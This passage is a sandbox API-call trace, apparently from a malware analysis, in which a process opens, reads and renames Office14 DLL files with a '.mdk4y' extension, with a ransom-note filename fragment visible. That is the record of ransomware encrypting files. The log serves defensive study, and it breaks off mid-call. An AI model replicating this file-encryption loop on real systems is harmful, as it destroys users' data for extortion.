lpMultiByteStr="ACEES.DLLL", lpUsedDefaultChar=0x37df4c) returned 9 [0101.593] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0101.594] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817682400000) returned 1 [0101.594] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xf73a8, lpOverlapped=0x0) returned 1 [0101.767] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817699700000) returned 1 [0101.767] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817699700000) returned 1 [0101.775] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll.mdk4y")) returned 1 [0101.776] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0101.776] AreFileApisANSI () returned 1 [0101.776] GetACP () returned 0x4e4 [0101.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACEEXCH.DLL", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ACEEXCH.DLL", lpUsedDefaultChar=0x37df4c) returned 11 [0101.776] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0101.776] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817700600000) returned 1 [0101.776] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6bfa0, lpOverlapped=0x0) returned 1 [0103.278] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817850800000) returned 1 [0103.278] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817850800000) returned 1 [0103.281] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll.mdk4y")) returned 1 [0103.282] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0103.282] AreFileApisANSI () returned 1 [0103.282] GetACP () returned 0x4e4 [0103.282] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACEEXCL.DLL", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ACEEXCL.DLL", lpUsedDefaultChar=0x37df4c) returned 11 [0103.282] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0103.282] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817851200000) returned 1 [0103.282] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xdbb98, lpOverlapped=0x0) returned 1 [0103.447] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817867700000) returned 1 [0103.447] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817867700000) returned 1 [0103.455] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll.mdk4y")) returned 1 [0103.456] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0103.456] AreFileApisANSI () returned 1 [0103.456] GetACP () returned 0x4e4 [0103.456] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACEODBC.DLL", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ACEODBC.DLL", lpUsedDefaultChar=0x37df4c) returned 11 [0103.456] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0103.456] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817868600000) returned 1 [0103.456] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x53bb0, lpOverlapped=0x0) returned 1 [0103.884] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817911400000) returned 1 [0103.884] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817911400000) returned 1 [0103.888] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll.mdk4y")) returned 1 [0103.889] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0103.889] AreFileApisANSI () returned 1 [0103.889] GetACP () returned 0x4e4 [0103.889] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACEODDBS.DLL", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ACEODDBS.DLLcrosoft Shared\\MSInfo\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 12 [0103.889] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0103.958] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817918800000) returned 1 [0103.959] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3db8, lpOverlapped=0x0) returned 1 [0104.369] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817959900000) returned 1 [0104.369] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817959900000) returned 1 [0104.369] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll.mdk4y")) returned 1 [0104.370] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0104.370] AreFileApisANSI () returned 1 [0104.370] GetACP () returned 0x4e4 [0104.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACEODEXL.DLL", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ACEODEXL.DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0104.370] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0104.457] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817968700000) returned 1 [0104.457] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3db8, lpOverlapped=0x0) returned 1 [0104.458] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817968800000) returned 1 [0104.458] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817968800000) returned 1 [0104.459] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll.mdk4y")) returned 1 [0104.459] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0104.459] AreFileApisANSI () returned 1 [0104.459] GetACP () returned 0x4e4 [0104.459] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACEODTXT.DLL", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ACEODTXT.DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0104.460] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0104.460] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817969000000) returned 1 [0104.460] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3db8, lpOverlapped=0x0) returned 1 [0104.530] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817976000000) returned 1 [0104.530] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817976000000) returned 1 [0104.530] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll.mdk4y")) returned 1 [0104.531] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0104.531] AreFileApisANSI () returned 1 [0104.531] GetACP () returned 0x4e4 [0104.531] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACEOLEDB.DLL", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ACEOLEDB.DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0104.531] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0104.532] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817976200000) returned 1 [0104.532] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x833a0, lpOverlapped=0x0) returned 1 [0104.597] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817982700000) returned 1 [0104.597] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817982700000) returned 1 [0104.604] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll.mdk4y")) returned 1 [0104.604] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0104.604] AreFileApisANSI () returned 1 [0104.604] GetACP () returned 0x4e4 [0104.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACER3X.DLL", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ACER3X.DLLLL", lpUsedDefaultChar=0x37df4c) returned 10 [0104.604] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0104.605] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817983500000) returned 1 [0104.605] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6e398, lpOverlapped=0x0) returned 1 [0104.750] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817998000000) returned 1 [0104.750] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817998000000) returned 1 [0104.755] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll.mdk4y")) returned 1 [0104.756] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0104.756] AreFileApisANSI () returned 1 [0104.756] GetACP () returned 0x4e4 [0104.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACERCLR.DLL", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ACERCLR.DLLL", lpUsedDefaultChar=0x37df4c) returned 11 [0104.756] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0104.757] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817998700000) returned 1 [0104.757] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd9c0, lpOverlapped=0x0) returned 1 [0104.828] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818005800000) returned 1 [0104.828] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818005800000) returned 1 [0104.829] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll.mdk4y")) returned 1 [0104.830] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0104.830] AreFileApisANSI () returned 1 [0104.830] GetACP () returned 0x4e4 [0104.830] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACEREP.DLL", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ACEREP.DLLL", lpUsedDefaultChar=0x37df4c) returned 10 [0104.830] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0104.830] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818006000000) returned 1 [0104.830] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa8da0, lpOverlapped=0x0) returned 1 [0104.896] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818012600000) returned 1 [0104.896] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818012600000) returned 1 [0104.902] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll.mdk4y")) returned 1 [0104.903] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0104.903] AreFileApisANSI () returned 1 [0104.903] GetACP () returned 0x4e4 [0104.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACETXT.DLL", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ACETXT.DLL", lpUsedDefaultChar=0x37df4c) returned 10 [0104.903] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0104.903] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818013300000) returned 1 [0104.903] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x48990, lpOverlapped=0x0) returned 1 [0104.955] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818018500000) returned 1 [0104.955] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818018500000) returned 1 [0104.958] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll.mdk4y")) returned 1 [0104.959] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0104.959] AreFileApisANSI () returned 1 [0104.959] GetACP () returned 0x4e4 [0104.959] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACEWDAT.DLL", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ACEWDAT.DLL", lpUsedDefaultChar=0x37df4c) returned 11 [0104.959] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0104.959] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818018900000) returned 1 [0104.959] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0105.030] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818026000000) returned 1 [0105.030] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818026000000) returned 1 [0105.055] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.mdk4y")) returned 1 [0105.056] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0105.056] AreFileApisANSI () returned 1 [0105.056] GetACP () returned 0x4e4 [0105.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACEWSS.DLL", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ACEWSS.DLLL", lpUsedDefaultChar=0x37df4c) returned 10 [0105.056] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0105.107] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818033700000) returned 1 [0105.107] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4dba0, lpOverlapped=0x0) returned 1 [0105.127] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818035700000) returned 1 [0105.127] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818035700000) returned 1 [0105.129] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll.mdk4y")) returned 1 [0105.145] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0105.145] AreFileApisANSI () returned 1 [0105.145] GetACP () returned 0x4e4 [0105.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACEXBE.DLL", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ACEXBE.DLL", lpUsedDefaultChar=0x37df4c) returned 10 [0105.145] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0105.146] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | 